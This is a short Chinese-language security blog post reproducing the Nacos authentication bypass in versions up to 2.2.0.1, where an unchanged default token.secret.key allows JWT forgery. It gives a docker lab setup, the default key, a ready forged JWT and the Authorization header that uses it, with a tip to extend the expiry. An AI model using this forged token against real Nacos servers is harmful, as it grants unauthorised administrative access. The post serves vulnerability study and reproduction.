S1xHcL's Blog.

Nacos 身份认证绕过漏洞复现

Word count: 289Reading time: 1 min
2023/03/16 Share

漏洞背景

开源服务管理平台 Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

漏洞范围

  • nacos <= 2.2.0.1

漏洞复现环境

  • nacos 2.2.0

环境搭建

选择 docker 直接拉取

1
2
docker pull nacos/nacos-server:v2.2.0
docker run -d --name nacos -p 8848:8848 -e PREFER_HOST_MODE=hostname -e MODE=standalone nacos/nacos-server:v2.2.0

默认密码 nacos/nacos

1
http://192.168.145.132:8848/nacos/#/login

漏洞复现

默认 secret.keySecretKey012345678901234567890123456789012345678901234567890123456789,伪造 jwt

1
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODgwNzY1Nn0.EYvjr2bJCv44VomUuWOt78Vbu7ALhyXu2WMGHrOyyBw

利用伪造后的 jwt 发起请求,例如读取用户列表

或者是在请求头处添加

1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODgwNzY1Nn0.EYvjr2bJCv44VomUuWOt78Vbu7ALhyXu2WMGHrOyyBw

唯一需要注意一点,伪造的 jwt 中使用的是旧时间戳,使用默认 payload 可以做任何操作除了登陆接口

所以可以直接设置超长时间来伪造 jwt

总结

漏洞的本质是因为使用了默认的 key,围绕这个key有不同的利用手法

引用

https://mp.weixin.qq.com/s/5lE_9I6-r1CE8CYtUZG1rQ

https://github.com/alibaba/nacos/issues/9830

CATALOG
  1. 1. 漏洞背景
  2. 2. 漏洞范围
  3. 3. 漏洞复现环境
    1. 3.1. 环境搭建
    2. 3.2. 漏洞复现
  4. 4. 总结
  5. 5. 引用